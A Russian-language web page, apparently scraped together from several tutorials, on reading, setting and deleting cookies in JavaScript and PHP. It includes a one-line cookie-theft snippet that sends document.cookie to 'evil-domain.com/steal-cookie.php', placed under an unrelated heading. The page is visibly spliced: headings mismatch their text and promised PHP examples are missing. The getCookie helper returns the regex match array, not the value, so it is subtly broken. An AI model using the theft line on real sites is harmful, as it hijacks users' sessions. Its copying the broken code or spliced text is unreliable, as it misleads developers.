Javascript как передавать значения в cookies. Методы похищения файлов cookie. Чтение значений Cookies

Иногда требуется работа с cookie через JavaScript . Например, cookie может быть альтернативным вариантом обмена данными между PHP и JavaScript . Допустим, JavaScript записывает в cookie пользователя его текущее время на компьютере (то есть его местное время), а PHP эти данные считывает и учитывает смещение относительно серверного времени. А теперь давайте разберём, как работать с cookie через JavaScript .

Единственное, что есть в JavaScript для работы с cookie - это свойство cookie объекта document :

alert(document.cookie);

В результате запуска этого кода выведутся все cookie от данного сайта, причём в определённом формате. Выглядит это примерно так: "name=123; login=456 ". На что здесь стоит обратить внимание? На то, что все cookie имеют, разумеется, имя и значение, а сами cookie разделены друг с другом точкой с запятой и пробелом.

Зная этот формат, Вы можете легко вытащить значение нужной переменной.

Чтобы добавить через JavaScript ещё одну переменную , надо написать следующий код:

document.cookie = "new=5";

Обратите внимание, что именно "= ", а не "+= ". В данном случае, Вы не стираете все существующие cookie , а добавляете новую переменную.

Что касается удаления cookie , то здесь можно использовать тот факт, что имеется возможность указать время жизни cookie . И если указать, что она должна была закончиться год назад, то cookie будет немедленно удалена.

Чтобы у Вас было полное представления о , показываю код всех 3 функций для управления cookie , а также пример их использования:

function setCookie(name, value) {
document.cookie = name + "=" + value;
}
function getCookie(name) {
var r = document.cookie.match("(^|;) ?" + name + "=([^;]*)(;|$)");
if (r) return r;
else return "";
}
function deleteCookie(name) {
var date = new Date(); // Берём текущую дату
date.setTime(date.getTime() - 1); // Возвращаемся в "прошлое"
document.cookie = name += "=; expires=" + date.toGMTString(); // Устанавливаем cookie пустое значение и срок действия до прошедшего уже времени
}
setCookie("firstname", "Вася"); // Устанавливаем cookie
alert(getCookie("firstname")); // Выводим cookie
deleteCookie("firstname"); // Удаляем cookie
alert(getCookie("firstname")); // Убеждаемся, что ничего не осталось

Вот такую простейшую библиотеку Вы можете использовать при работе с cookie через JavaScript .

Что такое cookies?

Cookies - это технология, позволяющая сайтам сохранять в браузере небольшую порцию данных (до 4Кбайт).

Обычно эти данные используются на сайте для того, чтобы:

• "узнать" (идентифицировать) пользователя (эмулировать постоянное соединение с сервером);
• сохранить информацию о просмотренных страницах или товаров;
• осуществить простую защиту счётчиков и системы голосования от накрутки;
• запомнить настройки интерфейса, расположение блоков, товара, добавленного в корзину и много другого.

Как работают cookies

Механизм работы с cookies рассмотрим на следующем примере:

Принцип работы механизма cookies

Клиент (веб-браузер) посылает серверу запрос (запрашивает у него страницу). Если в браузере есть cookies, связанные с этим сайтом, то он их посылает серверу в составе этого запроса.

Сервер получает запрос от клиента. Если в составе запроса есть куки, то их можно использовать для выполнения некоторой логики на сервере, подготовки пользователю персонализированной страницы или для чего-то другого. После этого отправляем клиенту ответ. В заголовке ответа отправляем веб-браузеру (клиенту) cookies, которые ему нужно будет сохранить.

Веб-браузер (клиент) получает ответ от сервера (страницу) и выводит его пользователю. Куки, которые пришли с сервера, браузер сохраняет в своё хранилище.

JavaScript - document.cookie

// получить значения всех cookies страницы var cookies = document.cookie; // выведем куки в консоль браузера console.log(cookies); // выведем с помощью функции alert alert(cookies);

Данное свойство представляет собой строку и чтобы в ней что-то найти, например, определённую cookie (по ключу), её необходимо разобрать. Для этого нужно написать JavaScript код (например, с использованием регулярных выражений) или воспользоваться специально предназначенного для этого библиотекой js-cookie . Данная библиотека, кроме функции чтения куки, имеет также методы для её установки и удаления.

Библиотека js-cookie

js-cookie - библиотека JavaScript, предоставляющая методы для удобной работы с cookies.

Подключение js-cookie к странице Установка (set) cookie Запись cookie осуществляется с помощью функции set: // name - ключ (имя) куки // value - значение, связанное с ключом name // attributes (необязательный параметр) - атрибуты куки в формате объекта Cookies.set("name", "value"[,attributes]); Установить cookie для всех страниц сайта: Cookies.set("nameCookie", "valueCookie"); // => "nameCookie=valueCookie; path=/" Создать cookie, действительную 30 дней (от текущего момента времени) и видимую любыми страницами сайта: Cookies.set("nameCookie", "valueCookie", { expires: 30 }); // => "nameCookie=valueCookie; path=/; expires=Thu, 13 Apr 2017 13:00:15 GMT" Выполнить запись куки, доступ к которой будет иметь только текущая страница (срок хранения 365 дней): Cookies.set("nameCookie", "valueCookie", { expires: 365, path: "" }); // => "nameCookie=valueCookie; expires=Wed, 14 Mar 2018 13:00:36 GMT" Получение (get) куки Чтение значения cookie осуществляется с помощью метода get: Cookies.get("nameCookie"); // => "valueCookie" Cookies.get("otherCookie"); // => undefined Получить все доступные cookies: Cookies.get(); // => {nameCookie: "valueCookie"} Удаление (remove) cookie Для удаления куки предназначена функция remove: Cookies.remove("nameCookie"); Удаление cookie с указанием атрибута path: Cookies.set("name", "value", { path: "" }); Cookies.remove("name", { path: "/" }); // не получится (не правильный путь) Cookies.remove("name", { path: "" }); // удалится (указан правильный путь)

Важно! Когда вы удаляете cookie, вы должны указать тот же самый путь и домен, который использовался для установки cookie. Если атрибуты куки в Cookies.remove не указать, то будут браться те, которые заданы по умолчанию в Cookies.defaults (приведён ниже).

Например, удалим все cookies, имеющие в качастве пути значение "/": path = "/"; var cookies = Cookies.get(); for (var cookie in cookies) { Cookies.remove(cookie, { path: path }); } Установка атрибутов cookies Передача атрибутов при установке куки осуществляется посредством указания их в качестве значения последнего (3) аргумента функции Cookies.set . Cookies.set("name", "value", { expires: 365, path: "/news/", domain: "m.mydomain.ru", secure: true }); // => "name=value; path=/news/; expires=Wed, 14 Mar 2018 12:54:28 GMT; domain=m.mydomain.ru; secure"

• expires - указывает длительность хранения cookie в браузере. Значение можно задавать как в формате числа (количество дней от текущего момента времени), так и ввиде даты. Если данный параметр не указать, то cookie будет ссесионным, т.е. он удалится после закрытия браузера.

  Например, установим cookie на 30 дней (в качестве формата expires будем использовать дату):

  // функция, возвращающая дату, которая будет через указанное количество дней от текущей function getDateExpires(days) { var date = new Date; date.setDate(date.getDate() + days); return date; } // запись cookie nameCookie=valueCookie Cookies.set("nameCookie", "valueCookie", { expires: getDateExpires(30) }); // => "nameCookie=valueCookie; path=/; expires=Thu, 13 Apr 2017 12:34:13 GMT"

• path - строка, указывающая путь (по умолчанию: / ), посредством которого будет определяться видимость (доступность) cookie. Cookie для некоторой страницы доступна только тогда, когда её path входит в адрес. По умолчанию куки видимы для всех страниц сайта.

  Cookie, которая будет иметь в качестве пути текущее местоположение документа:

  Cookies.set("nameCookie", "valueCookie", { path: "" }); // => "nameCookie=valueCookie"

• domain - строка, указывающая домен (по умолчанию: текущий), в котором cookie должна быть видна. При этом куки также будут доступны во всех поддоменах этого домена.
• secure - устанавливает, необходимо ли при передаче cookies использовать безопасный протокол (https). По умолчанию: false (нет не требуется).
• Кроме индивидуальной установки атрибутов куки при каждом вызове функции Cookies.set , их также можно назначить глобально посредством свойства defaults объекта Cookie . Cookies.defaults = { path: "/", expires: 365 }; Cookies.set("nameCookie", "valueCookie"); // => "nameCookie=valueCookie; path=/; expires=Wed, 14 Mar 2018 12:53:23 GMT" Данные атрибуты будут использоваться функцией Cookies.set по умолчанию. Другими словами только тогда, когда вы вызываете функцию Cookies.set без последнего (третьего) параметра.

Куки и формат JSON

Библиотека js-cookie позволяет очень просто установить в качестве значения куки не только текстовое значение, но и данные в формате массива или объекта (а точнее их строковое представление посредством JSON.stringify):

Cookies.set("name", { name1: "value1", name2: "value2" });

Выполнять чтение cookie (имеющей в качестве значения JSON) с помощью функции Cookies.get не очень удобно, т.к. на выходе вы получите обычную строку (а не массив или объект).

Cookies.get("name"); // => "{"name1":"value1","name2":"value2"}" Cookies.get(); // => {name:"{"name1":"value1","name2":"value2"}"}

Для этого можно воспользоваться функцией Cookies.getJSON . Данная функция не только получает cookie, но и разбирает её с помощью JSON.parse:

Cookies.getJSON("name"); // => {name1: "value1", name2: "value2"} Cookies.getJSON("name")["name1"]; // => "value1" Cookies.getJSON("name")["name2"]; // => "value2" Cookies.getJSON(); // => {name: {name1:"value1", name2:"value2"}}

Всем привет!

JS не предоставляет удобного API для работы с cookies. И это в принципе не плохо, могло бы быть и хуже (например js вообще не реализовывал бы работы с куками), но все же, лучше, когда можно читать куки с помощью одной инструкции (чего пока нативным js - невозможно).

Существует множество framework"ов и plugin"ов к ним, которые восполняют данный недостаток. Однако бывают проекты где нецелесообразно подключать framework лишь для удобства работы с куками.

Собственно мною была поставлена и реализована задача создания методов по управлению куками, с красивыми аксессорами типа:

Cookie.set("bla", "blabla");
cookie.get("bla");

code.google.com/p/jscookie - страничка на гуглокоде

Немножечко теории о механизме предоставляемом js"ом для работы с cookie:

Все что у нас есть - свойство document.cookie, оно не реализует за собой никаких привычных рядовому программисту методов, типа document.cookie.get("bla");

Чтение cookie document.cookie содержит набор значений cookie_name=cookie_value; (разделенных между собой "; " (точка с запятой плюс пробел)), отсюда следует, что бы получить значение конкретной куки - необходимо пропарсить всю строку и выдернуть необходимые данные. Что примечательно, в свойстве содержится пары имя=значение, никаких дополнительный данных о куках таких как: expires time, path, domain, secure - не содержит.Создание/обновление cookie document.cookie ведет себя как строка, но не обычная. представим что у нас есть 2 куки key1 = val1 и key2 = val2.

Alert(document.cookie) //key1=val1; key2=val2;

Для того что бы добавить новую куку key3 = val3

Document.cookie= "key3=val3; ";
alert(document.cookie) //key1=val1; key2=val2; key3=val3;

Для того что бы обновить куку, зададим key2 значение hello world

Document.cookie= "key2=hello world; ";
alert(document.cookie) //key1=val1; key2=hello world; key3=val3;

Удаление Cookie Теперь немножечко расскажу о куках как таковых, не претендую на полное и досканальное знание этой тематики, просто чуть чуть расскажу что знаю.

Кука помимо названия и значения имеет в своем арсенале еще несколько важных свойств, а именно:

Expires - время, после которого кука удаляется.
domain - домен для которого кука действительна, грубо говоря, если кука была создана на домене js.com, то ни на каком другом домене она не будет видна.
path - множество документов, при запросе на которые браузер будет посылать куку
secure - свойство-флаг разрешающий посылать браузуру куку только при https соединении

Вообщем все это записывается в виде document.cookie = "key4=val4;

Фокус с удалением куки состоит в том что бы обновить куку со свойством expires указывающим в прошлое, например:

Document.cookie= "key2=; expires=Mon, 05 Jul 1982 16:37:55 GMT; ";
alert(document.cookie)//key1=val1; key3=val3;

Собственно все

UPD: это мой первый пост, прошу сильно не пинать. Надеюсь кому то будет полезно

HTTP cookie (web cookie, cookie браузера) - это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.

Cookie используются, главным образом, для:

⦁ Управления сеансом (логины, корзины для виртуальных покупок)
⦁ Персонализации (пользовательские предпочтения)
⦁ Мониторинга (отслеживания поведения пользователя)

До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB .

Чтобы посмотреть сохраненные cookies (и какие еще способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

Создание cookie

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок Set-Cookie с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP Cookie с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту оно отсылается.

Заголовки Set-Cookie и Cookie (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

Межсайтовая подделка запроса (CSRF - Cross-site request forgery)

Если вы не сообщите об использовании сторонних куков, а пользователь обнаружит их самостоятельно, то доверие к вам может пошатнуться. Чтобы избежать этого, лучше предоставлять соответствующую информацию. В некоторых странах использование куков регламентируется законодательством. Прочитать об этом можно, например, в Википедии в разделе cookie statement (создание куков).

Не отслеживать (Do-Not-Track)

Для запрета на отслеживание со стороны приложения, или межсайтового отслеживания, можно использовать заголовок DNT , хотя технических или законодательных требований на этот счет нет. Подробнее об этом рассказывается в разделе заголовок DNT .

Директива Евросоюза о куках

Правила по использованию куков в Евросоюзе (ЕС) определены в Директиве 2009/136/EC Европарламента (Directive 2009/136/EC), вступившей в действие 25 мая 2011. Это не закон, как таковой, а рекомендация странам-членам ЕС принять законы, соответствующие её требованиям. В каждой стране на этот счет могут быть свои законы.

Согласно этой директиве для хранения или извлечения информации с компьютера пользователя требуется проинформировать его и получить соответствующее разрешение. С момента её появления многие сайты добавили баннеры, информирующие пользователя об использовании куков.

Подробнее об этом можно прочитать в соответствующем разделе Википедии (Wikipedia). За наиболее полной и точной информацией обращайтесь к законодательствам конкретных стран.

Куки-зомби и "вечные" куки

Более радикальный подход к кукам представляют собой куки-зомби, или "вечные" куки, которые восстанавливаются после удаления, и полное удаление которых умышленно затруднено. Они используют прикладные интерфейсы веб-хранилищ (Web storage API), Flash Local Shared Objects и другие методы собственного воссоздания в случае, если обнаружено их отсутствие.

Cookies - это механизм хранения данных броузером удаленного компьютера для идентификации возвращающихся посетителей и хранения параметров веб-страниц (например, переменных).

Приведем пример использования Cookies на конкретном примере.

Предположим, нам нужно написать счетчик посещения сайта. Нам нужно знать, какое число посещений сайта осуществлялось каждым конкретным посетителем.

Данную задачу можно решить двумя способами. Первый из них заключается в ведении учета IP-адресов пользователей. Для этого нужна база данных всего из одной таблицы, примерная структура которой такая:

Когда пользователь заходит на сайт, нам нужно определить его IP-адрес, найти в базе данных информацию о его посещениях, увеличить счетчик и вывести его в браузер посетителя. Написать обработчик (скрипт) подобной процедуры несложно. Однако при использовании такого метода у нас появляются проблемы следующего характера:

• Для каждого IP-адреса нужно вести учет в одной таблице, которая может быть очень большой. А из этого следует, что мы нерационально используем процессорное время и дисковое пространство;
• У большинства домашних пользователей IP-адреса являются динамическими. То есть, сегодня у него адрес 212.218.78.124, а завтра - 212.218.78.137. Таким образом, велика вероятность идентифицировать одного пользователя несколько раз.

Можно использовать второй способ, который намного легче в реализации и более эффективен. Мы устанавливаем в Cookie переменную, которая будет храниться на диске удаленного пользователя. Эта переменная и будет хранить информацию о посещениях. Она будет считываться скриптом при обращении посетителя к серверу. Выгода такого метода идентификации очевидна. Во-первых, нам не нужно хранить множество ненужной информации о IP-адресах. Во-вторых, нас не интересуют динамические IP-адреса, поскольку данные о своих посещениях хранятся конкретно у каждого посетителя сайта.

Теперь понятно, для чего мы можем использовать Cookie - для хранения небольшой по объему информации у клиента (посетителя) сайта, например: настройки сайта (цвет фона страниц, язык, оформление таблиц и.т.д.), а также другой информации.

Файлы Cookies представляют собой обыкновенные текстовые файлы, которые хранятся на диске у посетителей сайтов. Файлы Cookies и содержат ту информацию, которая была в них записана сервером.

Программирование Cookies

Приступим к программированию Cookies.

Для установки Cookies используется функция SetCookie() . Для этой функции можно указать шесть параметров, один из которых является обязательным:

• name - задает имя (строк), закрепленное за Cookie;
• value - определяет значение переменной (строка);
• expire - время "жизни" переменной (целое число). Если данный параметр не указать, то Cookie будут "жить" до конца сессии, то есть до закрытия браузера. Если время указано, то, когда оно наступит, Cookie самоуничтожится.
• path - путь к Cookie (строка);
• domain - домен (строка). В качестве значения устанавливается имя хоста, с которого Cookie был установлен;
• secure - передача Cookie через защищенное HTTPS-соединение.

Обычно используются только три первые параметра.

Пример установки Cookies:

При использовании Cookies необходимо иметь в виду, что Cookies должны устанавливаться до первого вывода информации в браузер (например, оперетором echo или выводом какой-либо функции). Поэтому желательно устанавливать Cookies в самом начале скрипта. Cookies устанавливаются с помощью определенного заголовка сервера, а если скрипт выводит что-либо, то это означает, что начинается тело документа. В результате Cookies не будут установлены и может быть выведено предупреждение. Для проверки успешности установки Cookies можно использовать такой метод:

Функция SetCookie() возвращает TRUE в случае успешной установки Cookie. В случае, если Cookie установить не удается SetCookie() возвратит FALSE и возможно, предупреждение (зависит от настроек PHP). Пример неудачной установки Cookie:

Cookie установить не удалось, поскольку перед посылкой заголовка Cookie мы вывели в браузер строку "Hello".

Чтение значений Cookies

Получить доступ к Cookies и их значениям достаточно просто. Они хранятся в суперглобальных массивах и $_COOKIE и $HTTP_COOKIE_VARS .

Доступ к значениям осуществляется по имени установленных Cookies, например:

echo $_COOKIE["my_cookie"];
// Выводит значения установленной Cookie "My_Cookie"

Пример установки Cookie и последующего его чтения:

В рассмотренном примере при первом обращении к скрипту устанавливается Cookie "test" зо значением "hello". При повторном обращении к скрипту будет выведено значение Cookie "test", то есть строка "Hello".

При чтении значений Cookies обращайте внимание на проверку существования Cookies, например, используя оператор isset() . Либо путем подавления вывода ошибок опереатором @

А вот пример, как построить счетчик числа загрузок страницы с помощью Cookies:

Удаление Cookies

Иногда возникает необходимость удаления Cookies. Сделать это несложно, необходимо лишь вновь установить Cookie с идентичным именем и пустым параметром. Например:

Установка массива Cookies и его чтение

Мы может установить массив Cookies, используя квадратные скобки в именах Cookies , а затем прочитать массив Cookies и значения этого массива:

Преимущества использования Cookies неоспоримы. Однако существуют и некоторые проблемы их использования. Первая из них заключается в том, что посетитель может блокировать прием Cookies браузером или попросту удалить все Cookies или их часть. Таким образом, мы можем иметь некоторые проблемы в идентификации таких посетителей.

>

Есть еще вопросы или что-то непонятно - добро пожаловать на наш